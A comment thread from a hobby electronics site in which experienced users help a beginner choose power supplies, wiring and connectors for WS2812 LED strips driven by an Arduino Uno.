First off; welcome! And yes, things can be a little bit of a challenge when you start coding the first time.
As for your Grid project; I’d recommend starting a forum topic, since it might require some positing of lengthy code examples and such.
Funduino is indeed a clone, which I would not recommend for beginners, ditto for the LED strands, where I’d start with WS2811 or WS2812 strands – they are the most common used LED strands and they might be easier when you’d like to create a matrix.
Since FastLED supports pretty much the same type of LEDs as NeoPixel, I would assume there might be a library version issue – did you get the latest version?
hans
Hi Neel!
You’ll need a modified library to drive the RGBW LEDs because eaxh requires 4 pieces of data not 3. Tim has one here in “Tim’s Blog”:
And he has a review of these LEDs.
Dan
dannlh
Thanks Dan for chiming in – and for the link! Definitely interesting!
hans
Hi,
I had a question. I bought the leds and the uno but i am really a noob in this. What adapter would i need? I read 10A since i got 2 led strips of 60 each? If yes where can i find such an adapter, i only found it on 1 site.
My next question is how do i connect the adapter to the uno? Am i right that you need something like this ?
To make the connections from the lights to the board etc, i would need this is that correct?
Sorry for the questions.
Thank you!
Mil
Hi Mil,
for 120 LEDs, 10A might be overkill. Theoretically 10A is close to correct if all LEDs would be on at full brightness for a longer time.
I found mine at eBay, for example this one. At $15, very affordable and those are 5V 10A. I use one of these to power my 300 LEDs without a problem.
As for the connector; most strands come with a small connector on one end and bare wires on the other end. I use a “kroonsteentje” or “Screw Terminal” (Dutch, English). Once you have a working setup, you can still look for nice connectors.
As for the other wires: yes, I use similar wires for the Arduino -> LEDs as well.
p.s. you’re always free to ask – no worries
hans
Hi Hans,
Thank you for your help! I will check tomorrow if i have any adapter that is 5v 10A or 5V 8 A, if not I will order one of eBay. Like the one you bought.
I recognize the “kroonsteentje”, can I use one of those to connect 6 cables to 2 cables? Like the situation, I explained for Dannlh
By the way I guess you are Dutch as well?:D
Thank you!
Mil
Haha yeah, I was guessing you’d be Dutch as well
That’s why I dared mentioning “kroonsteentje” – which would be very suitable for combining multiple wires.
Strangely enough, “kroonsteentjes” seems to be very uncommon in the US (where I live right now – temporary).
hans
Hi Mil!
You would use the 10A power to connect to the LED + and – connections for powering the LEDs. How long are your strips? Over 1m and I recommend powering them from both ends because of voltage drop caused by the LED current draw. Or in other words hook up power to + and – at both ends of the strip. Usually a short wire to the near end and a wire slightly longer than the strip to the other end.
For the power supply just search for 5v 10A power supply on Amazon.com. You’ll probably want a black brick style supply with a standard AC cord input(with your country’s plug) and the coaxial DC output connector. Or maybe you can find one around from some old equipment that has 5V out and somewhere between 5-10amps. I used an old Linksys router power supply for a while. The input and output voltage and current is always printed on the brick or wall box.
**I recommend at least 18Ga stranded wire for the power.
Yes, you can use that connector to connect the power supply to the strip solder a red(+) and black(-) wire to the strip +and – and then connect that connector with the center pin as + (red) and the barrel as – (black). If you also want to connect it to your UNO for power you would need a Y connector, or you could just run power back from the strip to the UNO using the jumpers you listed. You can also power your UNO (while you’re developing) with the USB cable. Then you would need to just connect the – (black) of the strip to a GND pin on the UNO. Use a jumper with a male pin on one end. Cut the other end off. Solder the cut off end to the strip, plug the pin end into GND on the UNO.
Banggood also has nice pairs of those style connectors with quick-connect push buttons for the wires instead of screws.
For jumpers I recommend the ones like you listed with the rainbow ribbon. Just tear off however many you need for connections. One at a time or as a group. I ordered a set of ( F-Female, M-Male ) F-F, M-M and M-F. The F connectors are for connecting to pins on your UNO or other boards. The M are for plugging in to connectors on your UNO or on a breadboard and the M-F make nice extension wires. I have all 30cm length because they are convenient for most prototyping.
A small breadboard is nice for changing things around quickly.
Here’ my messy prototype I am working on for a project right now: Dan Prototype
Any questions you have bring them up! Glad to answer them!
dannlh
Awesome!
Thanks Dannlh for the very good info and for chiming in!
hans
Hi Dannlh,
Thank you for your message and help!
I bought the leds on banggood and each strip is 1 meter long..
Based on your explanation, I have a much better view of what I need to do. There is 1 thing that I am still not sure off. How can I connect 1 AC adapter to 2 led strips and the UNO. My led strips have 5 cables on both sides so 10 cables in total. 8 of the 10 cables are red and white I guess those are the power cables and the green one is ground. Let’s say I connect both led strips to each other using the black connectors on the led cable and then buy a Y connector(do you have a picture of this). The Y connector would then let me connect both the LED’s as the UNO to the adapter. The only problem would be the voltage drop because the LED strip would be 2 meters and only 1 side of the led’s would be connected to the AC adapter. A solution would be to connect both ends to the AC adapter but that would mean I need to have a AC power splitter that lets me connect 6 cables to the splitter.
Thank you for your help!
Mil
Hi Mil!
Yep, I know about the 5 leads on each end… three are in the plug and two are apart. If you were to actually look under the shrink-wrap on the end of the strip you would find that the two wires are soldered to the same places as two of the wires in the plug. Look closely at your strip. You will see three connections. +5V, Data and – GND. This is because you can then provide two sources for DC on the strip. In reality though, you only need to use the DATA and the ground from the plug, and couple the plugs together between the strips and then provide DC through the two other wires that are loose.
What I did was plugged the connections together in the middle and soldered the matching wires together in the middle of my strips (5M each strip) And then I connected my controller to the plug at one end. The other end of the strip I ran a pair 18ga wire to the two loose wires and provided a second feed of DC to the far end of the strip. With only 2M of LEDs you may get away with only feeding DC from one end and not have any fading at the far end, but the only way I’ve found to be sure is to light up all the LEDs and then connect DC at the far end to see if the ones at the far end get brighter.
If you are running these in series you may see a little brightness loss at the end of the 2M of LEDs (not likely but maybe) If you run the strips in parallel then 1M isn’t a problem.
Technically you only need 3 wires to light these up and use them. Don’t be afraid to peel the white shrink-wrap off the end to see what they did under it. It looks like on these strips it is RED +, WHITE -, and GREEN data.
Remember to put a small resistor between your data in and your arduino control pin. I also put a large capacitor across the DC (330uF/50v electrolytic) for when there is a sudden power draw from all LEDs on and also a tiny ceramic filter capacitor across the + and – at the beginning of the LED strip.
For power and splitting the supply, you can just run a wire to the VIN pin and GND pin on the Arduino if you don’t want to mess with a plug in the DC power jack. And then run a second set of wires from the AC adapter to the LEDs to power them. That way you would only need 1 adapter for the power with the terminals on back and 2+ wires and 2- wires from the adpater to power the Arduino and the LEDs respectively.
dannlh
You would need to do some math to calculate your current draw.
Powering neoPixels explained at
To power 120 LEDs, you would need 120 LEDs x 60 mA/RGB LED = 7200 mA = 7.2 A, so a 10 A adapter will give you enough power.
I bought an AC adapter on eBay and connected it to the adapter your first link. Those power adapters do come in different barrel sizes, but 5.5 mm x 2.1 mm appears to be the most common.
To connect the Uno to the lights, you can just use 24 gauge stranded wire. You will need a soldering iron. My LED strips came with some sort of no-solder connector. I cut the connector off and direct soldered the three lines (+5V, Ground, Data) to the Arduino.
atexit8
Thanks Atexit8
Much appreciate the additional link and calculation.
I usually start with a screw terminal, just until I’ve got the project under control hahah …
@Mil: Similar info can be found in this article as well (look under the “Power” paragraph – scroll up);
– A strip of LED’s will pull way too much power for your Arduino to handle, so always consider an additional 5V power supply.
– Rule of thumb is : each RGB LED unit pulls about 60 mA (3x 20 mA, for Red, Green and Blue).
hans
Hi Hans,
Thanks once again for your help!
I will check it out:D
dillinger
You’re most welcome!
One tip, if you have some power supplies laying around (like I do): I tested a few and found that way that even when the calculation says (for example) 10A, then I found that (depending on your application) that even a 5A power supply proved sufficient. The thing is that if the calculation says 10A, this would be under the assumption that all LEDs are at Max Brightness – which in most cases is not the case. For example the Ambient Light project for my TV and the projects with LED effects neither needed the full 10A.
Anyway – worth a try. Monitor how “warm” the PSU gets.
hans
Hi Atexit8!
Thank you. I am gonna check if i got any power supply that would fit in my situation. I also need to check the sizes of the adapter, thank you! I didn’t know to be honest that they come in different sizes
How did you connect both the AC adapter and the Led strips to the power supply?
Thank you
dillinger
[…] I bought the WS2811 LED strip which is powered by […] | https://www.tweaking4all.com/hardware/arduino/arduino-ws2812-led/ | CC-MAIN-2017-22 | refinedweb | 29,659 | 78.99 |
I'm doing it wrong...again
Hi all -
I have another thread going on this topic, but that's more of a how-to. I think I need a lesson in Qt design.
I'm writing an app that communicates with a remote device via UDP sockets. The rub is that the host system may have multiple network interfaces, and the program needs to determine the correct one to use. My method for this seemed simple enough at first: get a list of the interfaces, try each one, and select the one that responds appropriately.
The asynchronous nature of Qt socket reads/writes has complicated this, though. I'd like to run a routine at startup (from the c'tor, even) that does this, but all I can do is the sends; the reads will be blocked until I exit my startup routine. How do I get around this?
Thanks...
- kshegunov Qt Champions 2017 last edited by
@mzimmers said in I'm doing it wrong...again:
I'd like to run a routine at startup (from the c'tor, even) that does this, but all I can do is the sends; the reads will be blocked until I exit my startup routine. How do I get around this?
Use a queued call.
QMetaObject::invokeMethodwith
Qt::QueuedConnectionis your friend in these situations. You can queue the sends until after your init goes (as it may not be appropriate in the constructors), and receive the replies in a (private) slot where you determine which one is the valid interface.
As a side note, have you considered the case where you may get multiple responses (i.e. interfaces) and thus need to handle this separately after? Is it possible or significant?
Are you suggesting I queue my sends? Not sure I understand how this would work.?
EDIT: even though I don't fully understand this, I decided to experiment a little with it. I don't seem to be properly forming the call to invokeMethod():
QUdpSocket *m_sock = nullptr; ... qint64 UdpSocket::send(string str) {...} ... qint64 bytesSent; rc = QMetaObject::invokeMethod(m_sock, "send", Qt::QueuedConnection, Q_RETURN_ARG(qint64, bytesSent), Q_ARG(std::string, str));
Can anyone see what I'm doing wrong here? I'm getting the error message: "QMetaObject::invokeMethod: No such method QUdpSocket::send(std::string)"
- SGaist Lifetime Qt Champion last edited by
Hi,
From the looks of it, you didn't make that method Q_INVOKABLE.
No, I didn't. (I'd never seen that before.) Unfortunately, that didn't change the outcome -- I'm still getting the error message.
Sorry I wrote that in passing as I was leaving work. I could've and probably should've elaborated more.
@mzimmers said in I'm doing it wrong...again:
Are you suggesting I queue my sends? Not sure I understand how this would work.
No, not the sends themselves, they're already async. I meant that the constructor may not be the best place to do them (depending on your code), so if you want to postpone them for after the constructor you can do that through
QMetaObject::invokeMethod. I had such a case today, where I needed to call a virtual method, but the constructor is less than an ideal place for that to happen ...?
Very much so, yes. The other way can get very latent for no good reason. Say you have 3 interfaces configured and want to try them sequentially, this means waiting for 2 seconds + the response time. If you do that in parallel it's only the response time and/or a timeout (depending on the answers to the questions from my previous post). I was thinking more - collect the responses in a slot and decide what to do with them thereafter. Something like (pseudocode):
int interfacesNumber; UdpSocket * sockets = new UdpSocket[interfacesNumber]; for (...) { // Configure and send here // Collect responses in a slot QObject::connect(udpSocket, &QUdpSocket::datagramPending, this, std::bind(&MyClass::handleResponder, this, udpSocket)); QObject::connect(&timeoutTimer, &QTimer::timeout, udpSocket, &QObject::deleteLater); }
Where the slot could be something like:
void MyClass::handleResponder(QUdpSocket * socket) { QObject::disconnect(&timeoutTimer, nullptr, socket, nullptr); //< Disconnected everything so it doesn't get destroyed later // Save the socket for later ... }
- kshegunov Qt Champions 2017 last edited by
@mzimmers said in I'm doing it wrong...again:
I'm still getting the error message.
You can't return (values) from queued connections, it breaks determinism and as such is not allowed.
I removed the return argument and changed the type to void. Still getting the error. Is passing arguments permitted?
@mzimmers said in I'm doing it wrong...again:
Still getting the error. Is passing arguments permitted?
Yes, if they're declared and registered as metatypes (which also implies public default constructor, public copy constructor and destructor). See
Q_DECLARE_METATYPEand
qRegisterMetaTypein the docs for the full picture.
Hmm...I'm already registering it (in main):
qRegisterMetaType<std::string>("std::string");
I added this in my header file:
Q_DECLARE_METATYPE(std::string)
Is this not correct?
Yes, for most cases. It's correct, but the alias you provided isn't matching exactly. You do this:
qRegisterMetaType<std::string>("std::string");
But the function prototype spells:
qint64 UdpSocket::send(string str) {...}
So
stringis unknown. If you expand the namespace, then you need to give the unqualified class name as a string argument. So it'd be like this in your case:
qRegisterMetaType<std::string>("string");
Also make sure you object really has this method, as I see one
m_sockbeing
QUdpSocket, while the function prototype is for
UdpSocket.
Yep...I should have specified "this" as the first argument in the invokeMethod() call. Seems to be working now. Here are some snippets:
UdpSocket::UdpSocket(QObject *parent) : QObject(parent) { bool rc; // set up addresses. m_addrRecv.setAddress(QHostAddress::AnyIPv4); m_addrSend.setAddress(MCAST_GROUP); rc = QMetaObject::invokeMethod(this, "sendDiscoveryMsgs", Qt::QueuedConnection); } void UdpSocket::sendDiscoveryMsgs() { qnil = QNetworkInterface::allInterfaces(); // for each viable interface, create and configure a socket. for (it = qnil.begin(); it != qnil.end(); ++it) { sock = new QUdpSocket; sock->bind(m_addrRecv, MCAST_PORT, QAbstractSocket::ShareAddress | QAbstractSocket::ReuseAddressHint); QObject::connect(sock, &QUdpSocket::readyRead, this, &UdpSocket::checkResponse); m_sock = sock; // the send() below uses m_sock. send(str); } } void UdpSocket::checkResponse() { int rc = recv(); if (rc == 0) // got a valid response { if (m_msgStr.find(MsgTypeText[MSG_DISCOVERY_ACK]) != string::npos) { m_sock = qobject_cast<QUdpSocket *>(sender()); m_qni = new QNetworkInterface; *m_qni = m_socketInterfaceMap[m_sock]; QObject::disconnect(m_sock, &QUdpSocket::readyRead, this, &UdpSocket::checkResponse); QObject::connect(m_sock, &QUdpSocket::readyRead, this, &UdpSocket::recv); QObject::connect(m_sock, &QUdpSocket::disconnected, this, &UdpSocket::reconnect); } } }
I have a minor memory leak in that I don't destroy the unused sockets after I find the right one, but this way I don't have to maintain a list of the sockets while I'm trying to determine the "good" one.
Thanks for the help. | https://forum.qt.io/topic/101486/i-m-doing-it-wrong-again/12 | CC-MAIN-2019-39 | refinedweb | 1,116 | 57.27 |
MDX
MDX is a JSX in Markdown loader, parser, and renderer for ambitious projects. It combines the readability of Markdown with the expressivity of JSX. The best of both worlds.
If you configure MDX for your project you can do wild things like importing React components into your markdown file and use them in there.
import Graph from './components/graph' ## Here's a graph <Graph />
And on the other hand you can import your MDX files into React components and use them as regular React components.
import React from 'react' import Hello from '../hello.md' export default () => <Hello />
Powerful stuff. If you are a developer building something with React or Next.js and you want to add content to the project, that’s a really nice way to do it. It feels kind of mind blowing once you use it.
MDX is a superset of the CommonMark specification that adds embedded JSX and the
import/export syntax.
CommonMark was created by the people who built Discourse. They support Markdown on their platform and they needed a clear specification that handles certain edge cases. The original specification by John Gruber was not specific enough. At first they wanted to call it Standard Markdown but Gruber threw a hissyfit, wrote an angry email and even talked about it on his podcast The Talkshow.
Discourse never sought to upset him or take anything away from him so they renamed it to CommonMark.
It’s great to see that things like MDX can be built quite safely and relatively easy because there is a Markdown specification. | https://www.kahlillechelt.com/blog/mdx/ | CC-MAIN-2020-34 | refinedweb | 262 | 65.52 |
Go Null Yourself E-zine Issue 1 - Topics in this issue include RTLO Spoofing, Alternate Data Streams, Derandomizing Perl's RNG, Trojaning OpenSSH and more.
eb475da813e3ae136f8d88736b5ef344
,hs+;-,
MMMMMMMNdyo/:. Go Null Yourself E-Zine
MMNydNMMMMMMMMMmhs+:-`
MM/ `-/oshmMMMMMMMMMNdyo/. Issue #1
Mm .:+sydNMMMMMM. ys+:.`
M: `hMMMy +MMMMMMNdyo/-`
N+:. .MMMM. `NMMMmNMMMMMMMMNmhs+:.
MMMMMmhs+/-` hMMMs oMMMd `-/oydmMMMMMMMMMNdyo/-`
shmMMMMMMMMMNdyo/:. -MMMN` `NMMM- .:+shmNMMMMMMMs :+:.
.:/oydNMMMMMMMMMNMMMo sMMMh `-sMMMN` `NMMM-
/-` `-/oshmMMMMMN` .MMMM- dMMMo sMMMh
MMMNdyo+:. mMMM+ yMMMy :MMMN` .MMMM-
dNMMMMMMMMMmhs+/-`/MMMm -/oy. mMMM+ yMMMy :
`-/+shmMMMMMMMMMMMMM/ /MMMm .MMMM. m
.:+oydNMMMMd mMMM/ hMMMy /M
`-/o- `+shh -MMMMMNmhs+:. mM
-oydNMMMMMMMMMmdyo/-` +MM
`.:+shmMMMMMMMMMNdhsNMM
0x01 Introduction teh crew ys+:. `-/oydNMMMMMMMM
0x02 Conversational Hypnosis hsu -+shmNMMMMMMMMNdhs+:. sMMMy
0x03 RTLO Spoofing storm `-/oydNMMMMMMMMMmhyMMMM.
0x04 Alternate Data Streams d4de `.:+shmMMMMMMMMs
0x05 Derandomizing Perl's RNG Kheldar .-/oydm`
0x06 Trojaning OpenSSH storm
0x07 Story of a Raid OrderZero
0x08 Programming Challenge storm
0x09 ConfCon 2010 CFP PhreakerD7
0x0a 907-887-88xx Scan storm
0x0b Et Cetera, Etc. teh crew
[====================================================================================]
-=[ Introduction ]=-
[ Author: teh crew ]
Welcome to the first issue of the Go Null Yourself e-zine. Glad you could join us.
This publication is the product of a close group of friends who love to tinker with
and push technology to the limits. You may know us more commonly as hackers. We are
a collection of like-minded individuals promoting freedom of thought and the pursuit
of technological curiosity. We enjoy solving problems and innovating new ways of
doing things. We keep our minds open to new ideas and build upon each others' work to
produce even greater results. We stick to our beliefs and do not back down in the
face of hostility.
Within this zine, we hope to present a well-rounded spectrum of information, both
technical and non-technical, spanning a number of disciplines. Hopefully you may find
something that sparks your interest.
If you are interested in submitting content for future issues of GNY Zine, we would
be happy to review it for publication. Content may take many forms, whether it is a
paper, review, scan, or first-hand account of an event..distrust.us #gny)
If there is a enough feedback, we will publish some of the messages in future issues..
With that being said, let there be zine.
[====================================================================================]
-=[ Introduction to Conversational Hypnosis ]=-
[ Author: hsu ]
Preliminary note: All descriptions and examples are meant for learning and
understanding purposes only; I have made sure that no example can actually be used in
daily application. Conversational hypnosis is something that is learned from personal
experience, not copied. If you would like to learn more about the topic, I suggest
you read the lectures by Tyler Starr.
To most of the world, hypnosis is thought to be a simple form of entertainment in
which a "hypnotist" causes his or her subjects to perform all kinds of ridiculous
tasks under what they call a "trance." However, one must delve deep into the
processes of hypnosis to truly understand what is going on.
In very basic terms, hypnosis consists of a period of relaxation (self-explanatory),
induction (where the subject is actually put into trance), some sort of continuation
of that induction that simultaneously establishes the connection between hypnotist and
subject (allowing for the appearance of control to take place), and awakening (also
self-explanatory). The big misunderstanding most people have is the sense of
"control" that the term "hypnosis" implies. In truth, the subject is actually
completely in control of his or her actions at all points of hypnosis. The "trance"
is simply a state of mind in which the subject has allowed him/herself to fall into
the mindset of simply listening and performing through the hypnotist's guidance. With
that in mind, one can realize that hypnosis can be used in other settings as well,
though the processes might not be very recognizable.
Let us take car salesmen for example. Though they do not know what they are doing
psychologically, they are actually trained to use a very altered form of hypnosis to
make their deals.
Step 1 - Relaxation: they bring you into the store with a welcoming smile and a
happy, yet confident tone that non-verbally "assures" an unsuspecting person that the
salesman is friendly. Some might even add to that by offering them some kind of
"loophole" or "trick" to "save him/her money," (starting to sound familiar?) because
then the potential buyer has been shown that this salesman is out for his/her interest
and that he is trustworthy
Step 2 - Induction: the salesman begins to pick up the pace, speaking most of the
words in the conversation as the buyer begins to slip into the mindset of simply
listening and following along
Step 3 - Continuation: the salesman quickly brings up a seemingly good deal and
firmly states his belief that action must be taken right away in order to secure the
deal. Under the passive mindset, the buyer quickly takes in the salesman's words with
little to no processing and quickly accepts the deal, driving away in a new, far too
overpriced car.
Step 4 - Awakening: in this example, the awakening simply occurs as the buyer is
talking with his or her family about the purchase and suddenly realizes just how much
money was spent or lost.
Another aspect of conversational hypnosis is governed by Advanced Language Patterns
(ALP). ALP is used to steer conversations in a certain direction. Many people simply
call this prospect "mind fucking," as it tends to do just that. The entire process
centers around a combination of reverse psychology and careful introductions of new
topics.
For instance, let us say a boy is getting into an argument with his girlfriend that
he knows he cannot win. Here is how ALP can be implemented: The boy first heats up
the argument by seemingly defending his case, despite the many counterexamples his
girlfriend provides, which simply makes her more angry. Then, he suddenly gives in,
agreeing with her in only a very slight sarcastic tone - just enough for her to
believe he is probably serious but is perplexed enough to ask if he actually agrees.
Then, in a very sarcastic tone, he disagrees with her again. Such a process involves
two reverse psychological steps to create a contradiction within her mind, ending up
with her believing that she has won but still not fully understanding what is going
on. At this point, she is prone to suggestion and the boy brings up a scenario
similar to the current predicament brought on by another friend... and then another by
the same friend. Perhaps it was that friend's fault all along for this entire
argument! (Obviously, this series of events is quite a bit more abrupt than an actual
conversation, but you get the idea.) In the end, ALP has allowed the boy to set the
conversation onto a different topic that leaves him without risk of losing the
argument.
Next comes the haxxor favorite: social engineering (also sometimes associated with
seduction). Unlike ALP, in which the subject of the conversation changes, social
engineering manipulates the situations in which the conversation takes place. For
instance, a typical college student calls AT&T tech support and asks for a password to
one of their secure databases... you can imagine the turnout of the conversation...
*click.* However, social engineering can have quite an astounding effect on the exact
same sequence of events. By using an established position, such as "the security
manager for tech support" (No, I'm not giving you better ideas.), the student can call
a backdoor operator number and firmly state that there has been a security breach in
the database and that his password must be reset to "blablabla." The support agent is
far more likely to accept the scenario and carry out the order. An excellent resource
for more information and further, more practical examples of social engineering is the
article "Influential Angels" in the spring 2010 issue of "2600: The Hacker Quarterly."
Finally comes Neuro Linguistic Programming (NLP), otherwise known as the "black
mirror technique." This area is, by far, the most difficult to learn and master. It
involves watching every movement of a subject in every possible scenario available in
search for specific physical patterns associated with emotional states. One will
notice that a vast majority of the patterns are fairly constant from person to person.
Once you learn the patterns to a specific person, you can easily tell exactly what he
or she is feeling. By doing so, you can use prior knowledge to attempt to decipher
exactly what the person is thinking about in extremely vivid detail (Anyone been to a
"psychic" before?). At that point, the black mirror technique requires you to places
those thoughts and emotions into your own mind, in essence adopting the mind of your
subject. By doing so, you can think exactly like him or her - you will know what
reaction will be given in response to what stimulus and so on, allowing you to say or
do whatever would bring the exact response you wish to achieve. You are essentially
placing yourself in your target's shoes.
As you can see, each of the four sections provides a person with great "control" over
those around him or her. The question then becomes: What happens when you combine all
four together? The result is "black ops." Truly, it is impossible to describe any
sort of daily scenario for this phenomenon as it can only be expressed through
actually implementing its techniques in practice. As mentioned before, these
practices cannot be taught or copied - they must be experienced. One must always keep
in mind that this tool CANNOT be defeated by ANY person unless that person also knows
and has used black ops. It is a powerful tool that should be used responsibly for the
GOOD of others.
Here is a quick example. Imagine, if you would, that we were having a casual
conversation about bananas when, all of a sudden, I lost the game. Most people would
just brush it off, but no, I just could not stop thinking about it and ended up
associating bananas with the game. And so, every time I said the word, bananas, I
would lose the game, causing you to associate bananas with the game as well. You
would be quite angry wouldn't you? Well now let me ask you this: what is the first
thing that comes to mind when I say..."bananas?" If it isn't the game,
congratulations, you are learning fast; however, for the vast majority of you,
consider what just happened. You were presented with the most obvious example
possible and yet were still forced to mold your thoughts to a certain pattern without
the slightest but of control. Now imagine you had no indication that such an act was
to take place; imagine that this was done in person, instead of from a brief magazine
article without you ever knowing. Welcome to black ops.
[====================================================================================]
-=[ RTLO Spoofing ]=-
[ Author: storm ]
Website:
RTLO spoofing is a fairly new yet under-documented security flaw that may have
serious implications in the hacking scene in the very near future. Such an attack
furthers social engineering efforts by displaying illegitimate text in the place of
user-inputted data, potentially tricking target users into granting trust or falling
into malicious traps.
The acronym RTLO stands for Right-to-Left Override, which is a Unicode character used
to reverse the direction of text on its respective line. For instance, by inserting
the RTLO character into a string:
[RTLO]abcdefg
the following is instead displayed on the screen:
gfedcba
The RTLO character may also be placed mid-string, having no effect on preceding text.
For example:
abcdefg[RTLO]hijklmnop
is displayed as:
abcdefgponmlkjih
The RTLO character is most commonly used when displaying text in Hebrew, Arabic, or
any other foreign language that reads right-to-left. The Unicode number for RTLO is
202e, and a number of methods for inputting the character are enumerated at .
HTML also provides a method to render the proper directionality of text with the DIR
attribute by defining the value DIR=ltr for left-to-right and DIR=rtl for
right-to-left. However, this method is obviously only applicable to web pages,
whereas the RTLO Unicode character itself is universal throughout most of the
computer.
One may abuse the RTLO character by falsifying sensitive text strings, such as
filenames, usernames, and URLs. The consequences of a successful attack are dependent
upon the scenario.
In the context of spoofing a filename, hackers may more effectively social engineer
victims into downloading, accepting, and executing malicious files. Those spreading
malware will commonly try to obfuscate filenames by including an innocuous file
extension in the filename itself - "notavirus_freesex.jpg.exe", for instance.
However, by utilizing the RTLO character, a hacker may instead reverse the text
direction of the file extension, framing the file as a completely different filetype.
By inserting our special character, as shown:
hotgirlss[RTLO]gpj.exe
our target now views the file as:
hotgirlsexe.jpg
The quality of the spoofed filename will obviously vary with the level of creativity
at the time. There are numerous executable file extensions, and it should not be
difficult to find one that fits well with the spoofing attack scenario. It should
also be noted that by spoofing the file extension, the actual filetype of the file
does not change. "hotgirlsexe.jpg" is still an executable file with the extension
.exe, but it is simply being displayed as a .jpg image file instead.
File downloads within web browsers are also vulnerable to RTLO spoofing. Users may
queue a file for download but find the filename obfuscated, potentially tricking them
into opening malicious executable files. Mozilla took note of this attack vector and
deployed patches for their Firefox and SeaMonkey software in late 2009.
Next, hackers may utilize RTLO spoofing to falsify usernames and other text fields in
user profiles. Common targets for this attack are online forums and other web
communities. A typical attack consists of finding the name of an existing
administrator, moderator, or any other privileged staff member and creating a new
account with the name reversed, preceded by the RTLO character:
[RTLO]rotartsinimdA
[RTLO]pOsyS
[RTLO]rotaredoM
Et cetera, et cetera. Doing so will of course not magically grant your new user
account with any special permissions or access, but it's useful for social engineering
unsuspecting and ignorant users. At the very least, it's a fun prank. The GNY board
itself can actually be made an example of for attacking forums with spoofed usernames.
In February 2010, Anarchy_Angel registered a new user account using the name
"[RTLO]eekn0m", which displayed as "m0nkee" on screen, mirroring m0nkee's actual
administrator account name. As we were not familiar with the attack vector at the
time, quite a bit of confusion followed until Anarchy linked to an explanation,
introducing our community to the concept of RTLO spoofing.
The third scenario that will be covered is using RTLO spoofing in the context of
URLs. Such an attack may be used when attempting to trick an unsuspecting user into
clicking a malicious link that appears to be a seemingly trustworthy website at first
glance. Previous methods of achieving this included hosting the malicious page on a
similar-looking domain name or including the page in an XSS vulnerability on the
trustworthy website. An example of the first method would be to host a mirror of the
Citibank login page either at "c1tibank.com" or "freehosts.com/citibank.com/" (as in,
register a new domain name or establish a URL that may be easily confused with the
actual name) in attempt to phish user credentials. An example of the second method
would be to inject an IFrame of a remote page housing malicious code into an
XSS-vulnerable trustworthy website, as so:
cript:alert(document.domain)%3C/script%3E&va=lol
Of course, this URL merely causes a JavaScript popup message to appear, but any HTML
may be injected in its place. CSRF is also very possible at this point.
By now, you may have an idea as to how RTLO spoofing a URL will work, but I will
provide an example regardless:
[RTLO]
will display as:
The product of RTLO spoofing a URL is similar to the XSS method shown above, as the
victim is faced with a link that appears to point to a trusted domain name but is
followed by a slew of seemingly random characters. The only difference is that the
RTLO method doesn't require URL encoding to effectively obfuscate the deceit lain
within.
Hopefully, more vendors will recognize the security threat posed by abuse of the RTLO
character and incorporate methods of combatting falsified text in future versions of
their software. Until then, this attack vector will very likely become increasingly
prevalent in the hacking scene as people continue to follow the same mediocre security
policies and blindly trust content without understanding that the greatest threats are
the ones you do not expect and cannot see.
Works referenced and further reading: (currently offline)
And special thanks to: Anarchy_Angel
[====================================================================================]
-=[ Alternate Data Streams ]=-
[ Author: d4de ]
Website:
Introduction
------------
I have learned from a friend of mine "tUff" about something called ADS, which, as far
as I know, is only available in the NTFS filesystem. However, if someone has found
this "feature" somewhere else, please let me know.
In the NTFS file system, there are different types of data streams: one that holds
the security information and another that holds the "real" data. There may be another
stream with link information instead of the real data stream, if the file actually is
a link. And there may be alternate data streams, holding data the same way the
standard data stream does.
You might think that Microsoft didn't actually document this, but in a matter of fact
they did documented it. Besides that, there is a lot of information and articles about
it all over the web; however, it seems that not many people do actually know about it.
Practical Usage
---------------
Yes, I hear all of you saying, okay cool info to know about, but how we gonna use it
in a practical way? And my answer would be, don't let your limited imaginations limit
the usage of such feature. You can basically do many things with it - for example, you
could use it with hiding your application registration information, or better yet,
hide some secrets of yours. Or, if you are such a BlackHat, you can hide
viruses/worms/rootkits/etc. "I hear the devil laughing already!"
There are two ways to hide your data in ADS: you can hide it in a folder, or you can
hide it in a file. And no, it's not going to change anything either for the folder or
the file except its date stamp. The size of the "carrier" will never change
whatsoever.
Let's learn some tricks here, shall we...
-= Hiding a file in a folder =-
mkdir C:\folder
echo datastuffs > C:\folder:secrets.txt
In the example above, we see that we redirected the output of "echo datastuffs" to be
stored at "C:folder:secrets.txt". Cool, huh, but wait. You will also notice that there
is no backslash between "folder" and "secrets.txt". And seriously, it's not a typo -
it's how it's supposed to be written.
First, I want you to go check and see if the folder "C:\folder" contains anything,
and check if the size changed. Voila, nothing is actually there! Well, let's then do
this:
notepad.exe C:\folder:secrets.txt
A bit surprised of the outcome? You haven't seen anything yet. Now let's jump to the
next part.
-= Hiding a file in a file =-
echo ohnoes > C:\folder\textfile.txt
echo datastuffs > C:\folder\textfile.txt:secrets.txt
Ooh, that is a bit odd now. Well, it's far from oddness; it's just the same thing we
did before, but instead of hiding it in a folder, we hid it in a file. So, now you
understand the significance of ":". It means that you are accessing an alternate data
stream instead of the normal ones or the "visible" ones, so to speak.
Now, let's check if the file "secrets.txt" that we hide in the file "textfile.txt" is
actually holding any data.
notepad.exe C:\folder\textfile.txt:secrets.txt
Still amazed? Well, I gotta tell you that you still don't know the true potential of
such a feature.
Now, what if we wanted to be a little devilish and hide some executable files? Stay
with me on this one.
copy C:\windows\system32\calc.exe C:\folder\calc.exe
type C:\windows\system32\notepad.exe > C:\folder\calc.exe:notepad.exe
start C:\folder\calc.exe:notepad.exe
We simply did here the usual - just copied calc.exe (which is Calculator) to our test
folder so we don't mess anything up, and we hid the notepad.exe file (from the system
dir) in our copied calc.exe file. We then finally executed our hidden file
"notepad.exe," which now is located at "C:\folder\calc.exe:notepad.exe".
I hear you say, "Wow, how lame that is! You just started notepad.exe from a hidden
location!" Well, first I'll excuse your ignorant behavior and tell you to go look at
your Task Manager and tell me if you found any notepad.exe actually running. Huh, what
I can't hear you! Yeah, that's right; you just see calc.exe. See, that's now what I
was talking about - you are having notepad.exe running in front of your eyes, but
Windows Task Manager doesn't have this feature implemented, so it can't actually tell
if you are running another program from an alternate stream. Instead, it just gives
you the carrier file name, which in our case would be "calc.exe".
-= How to delete a file stored in ADS =-
First, let's assume that you have a file called vip.exe, and this file got hidden by
some major dirty worm that you kids developed, and you are sorry and wanted to delete
the worm from ADS. In order to do so, you should:
ren vip.exe temp.exe
type temp.exe > vip.exe
del temp.exe
But what if we have worm.exe hidden in the folder C:\windows? Sounds messy, huh?
Don't be afraid; it's also easy to do, so don't worry about it and follow:
notepad.exe C:\windows:worm.exe
